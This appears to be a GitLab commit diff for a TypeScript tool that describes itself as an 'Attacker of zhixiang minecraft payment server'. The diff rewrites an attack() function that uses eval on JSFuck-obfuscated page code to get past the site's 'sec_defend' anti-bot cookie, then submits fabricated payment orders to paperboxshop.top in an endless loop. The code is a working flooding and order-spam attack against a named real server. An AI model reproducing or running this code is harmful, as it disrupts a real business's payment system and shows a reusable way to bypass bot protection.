Commit 07054148 authored by nanahira's avatar nanahira

finish

parent eb1d2e36
Pipeline #6683 passed with stages
in 2 minutes and 13 seconds
...@@ -15,30 +15,9 @@ build-x86: ...@@ -15,30 +15,9 @@ build-x86:
tags: tags:
- docker - docker
script: script:
- TARGET_IMAGE=$CONTAINER_TEST_X86_IMAGE - TARGET_IMAGE=$CONTAINER_TEST_IMAGE
- docker build --pull -t $TARGET_IMAGE .
- docker push $TARGET_IMAGE
build-arm:
stage: build
tags:
- docker-arm
script:
- TARGET_IMAGE=$CONTAINER_TEST_ARM_IMAGE
- docker build --pull -t $TARGET_IMAGE . - docker build --pull -t $TARGET_IMAGE .
- docker push $TARGET_IMAGE - docker push $TARGET_IMAGE
combine:
stage: combine
tags:
- docker
script:
- TARGET_IMAGE=$CONTAINER_TEST_IMAGE
- SOURCE_IMAGE_2=$CONTAINER_TEST_ARM_IMAGE
- SOURCE_IMAGE_1=$CONTAINER_TEST_X86_IMAGE
- docker pull $SOURCE_IMAGE_1
- docker pull $SOURCE_IMAGE_2
- docker manifest create $TARGET_IMAGE --amend $SOURCE_IMAGE_1 --amend
$SOURCE_IMAGE_2
- docker manifest push $TARGET_IMAGE
deploy_latest: deploy_latest:
stage: deploy stage: deploy
tags: tags:
......
import axios from 'axios'; import axios from 'axios';
import cryptoRandomString from 'crypto-random-string'; import cryptoRandomString from 'crypto-random-string';
import qs from 'qs'; import qs from 'qs';
import got from 'got'; import delay from 'delay';
import https from 'https';
import http2 from 'http2-wrapper';
const agent = new https.Agent();
const http2Agent = new http2.Agent();
Object.assign(agent, http2Agent);
function parseJsFuck(code: string): string { function parseJsFuck(code: string): string {
return eval(`(${code})`); return eval(`(${code})`);
} }
function defaultHeaders(Cookie?: string, extras: Record<string, string> = {}) {
return {
Host: 'paperboxshop.top',
'User-Agent':
'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0',
//accept: 'text/html',
Connection: 'keep-alive',
...(Cookie ? { Cookie } : undefined),
...extras,
};
}
let cookieCount = 0;
function getCookie(phpSessionId: string, defend: string) {
return `sec_defend=${defend}; PHPSESSID=${phpSessionId}; counter=${++cookieCount};`;
}
async function attack() { async function attack() {
console.log('Requesting loading page.'); console.log('Requesting loading page.');
const loadingPage = await got('https://paperboxshop.top/index.php', { const {
headers: { data: loadingPage,
'User-Agent': headers: { 'set-cookie': cookie },
'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0', } = await axios.get<string>('https://paperboxshop.top/index.php', {
}, responseType: 'text',
}).text(); headers: defaultHeaders(),
console.log(loadingPage); });
const phpSessionId = cookie[0].match(/PHPSESSID=([0-9a-z]+)/)[1];
//console.log(headers, loadingPage);
const jsFuckMatch = loadingPage.match( const jsFuckMatch = loadingPage.match(
/setCookie\('sec_defend', ?\(([\[\]\(\)!\+\{\}]+)\)\);setCookie/, /setCookie\('sec_defend', ?\(([\[\]\(\)!\+\{\}]+)\)\);setCookie/,
); );
...@@ -31,17 +46,11 @@ async function attack() { ...@@ -31,17 +46,11 @@ async function attack() {
const sec_defend = parseJsFuck(jsFuckMatch[1]); const sec_defend = parseJsFuck(jsFuckMatch[1]);
console.log(`sec_defend: ${sec_defend}`); console.log(`sec_defend: ${sec_defend}`);
console.log('Requesting main page.'); console.log('Requesting main page.');
const Cookie = `sec_defend=${sec_defend};`;
const { data: mainPage, headers: mainPageHeaders } = await axios.get( const { data: mainPage, headers: mainPageHeaders } = await axios.get(
'https://paperboxshop.top/index.php', 'https://paperboxshop.top/index.php',
{ {
responseType: 'text', responseType: 'text',
httpsAgent: agent, headers: defaultHeaders(getCookie(phpSessionId, sec_defend)),
headers: {
Cookie,
'User-Agent':
'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0',
},
}, },
); );
const hashsaltMatch = mainPage.match(/var hashsalt=([\[\]\(\)!\+\{\}]+);/); const hashsaltMatch = mainPage.match(/var hashsalt=([\[\]\(\)!\+\{\}]+);/);
...@@ -51,46 +60,50 @@ async function attack() { ...@@ -51,46 +60,50 @@ async function attack() {
} }
const hashsalt = parseJsFuck(hashsaltMatch[1]); const hashsalt = parseJsFuck(hashsaltMatch[1]);
console.log(`hashsalt: ${hashsalt}`); console.log(`hashsalt: ${hashsalt}`);
console.log('Submitting payment.'); const data = {
tid: 1,
inputvalue: cryptoRandomString({ length: 8, type: 'alphanumeric' }),
num: Math.ceil(Math.random() * 10000),
hashsalt,
};
console.log(`Submitting payment: ${JSON.stringify(data)}`);
const { data: payResult } = await axios.post<{ const { data: payResult } = await axios.post<{
code: number; code: number;
msg: string; msg: string;
trade_no: string; trade_no: string;
}>( }>('https://paperboxshop.top/ajax.php?act=pay', qs.stringify(data), {
'https://paperboxshop.top/ajax.php?act=pay', responseType: 'json',
qs.stringify({ headers: defaultHeaders(getCookie(phpSessionId, sec_defend), {
tid: 1, Origin: 'https://paperboxshop.top',
inputvalue: cryptoRandomString({ length: 12, type: 'alphanumeric' }), Referer: 'https://paperboxshop.top/?cid=1&tid=1',
num: Math.ceil(Math.random() * 10000),
hashsalt,
}), }),
{ });
responseType: 'json',
httpsAgent: agent,
headers: {
Cookie,
'User-Agent':
'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0',
},
},
);
if (payResult.code) { if (payResult.code) {
console.error(`Payment failed: ${payResult.code} ${payResult.msg}`); console.error(
`Payment failed: ${payResult.code} ${JSON.stringify(payResult)}`,
);
return; return;
} }
await axios.get(`https://paperboxshop.top/other/submit.php`, { await axios.get(`https://paperboxshop.top/other/submit.php`, {
responseType: 'arraybuffer', responseType: 'arraybuffer',
httpsAgent: agent,
params: { params: {
type: 'alipay', type: 'alipay',
orderid: payResult.trade_no, orderid: payResult.trade_no,
}, },
headers: { headers: defaultHeaders(getCookie(phpSessionId, sec_defend)),
Cookie,
'User-Agent':
'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0',
},
}); });
console.log(`Success: ${JSON.stringify(payResult)}`); console.log(`Success: ${JSON.stringify(payResult)}`);
} }
attack();
async function main() {
while (true) {
try {
await attack();
} catch (e) {
console.error(`Attack failed: ${e.toString()}`);
delay(100);
}
}
}
main();
This diff is collapsed.
...@@ -4,7 +4,7 @@ ...@@ -4,7 +4,7 @@
"description": "Attacker of zhixiang minecraft payment server", "description": "Attacker of zhixiang minecraft payment server",
"main": "dist/index.js", "main": "dist/index.js",
"scripts": { "scripts": {
"test": "echo \"Error: no test specified\" && exit 1" "build": "tsc"
}, },
"repository": { "repository": {
"type": "git", "type": "git",
...@@ -26,8 +26,7 @@ ...@@ -26,8 +26,7 @@
"dependencies": { "dependencies": {
"axios": "^0.24.0", "axios": "^0.24.0",
"crypto-random-string": "^3.3.1", "crypto-random-string": "^3.3.1",
"got": "^11.8.2", "delay": "^5.0.0",
"http2-wrapper": "^2.1.9",
"qs": "^6.10.1" "qs": "^6.10.1"
} }
} }
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment